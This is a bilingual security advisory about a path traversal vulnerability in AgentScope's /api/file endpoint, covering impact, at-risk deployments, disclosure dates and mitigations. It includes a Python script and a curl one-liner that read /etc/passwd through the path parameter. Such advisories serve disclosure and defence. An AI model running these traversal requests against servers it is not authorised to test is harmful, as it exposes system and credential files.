AgentScope 路径遍历漏洞位于 /api/file

攻击者可以利用此路径遍历漏洞访问服务器文件系统中的敏感数据，例如配置文件、源代码、数据库凭据等。成功利用该漏洞可能导致数据泄露、系统配置被篡改，甚至可能被用于进一步攻击。由于该漏洞允许读取任意文件，攻击者的潜在影响范围非常广泛，可能涉及整个服务器环境。虽然目前没有公开的利用代码，但路径遍历漏洞通常容易被利用，因此存在较高的安全风险。

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. 已保留2024-09-04
2. 发布日期2025-03-20
3. EPSS 更新日期2026-04-02

由于目前没有官方提供的修复版本，建议采取以下缓解措施：首先，限制对 /api/file 端点的访问，仅允许授权用户访问。其次，实施严格的文件访问控制，确保应用程序只能访问其所需的文件。第三，使用 Web 应用防火墙 (WAF) 或代理服务器来过滤恶意请求，阻止包含恶意路径的请求。最后，定期审查服务器上的文件权限，确保没有不必要的权限被授予。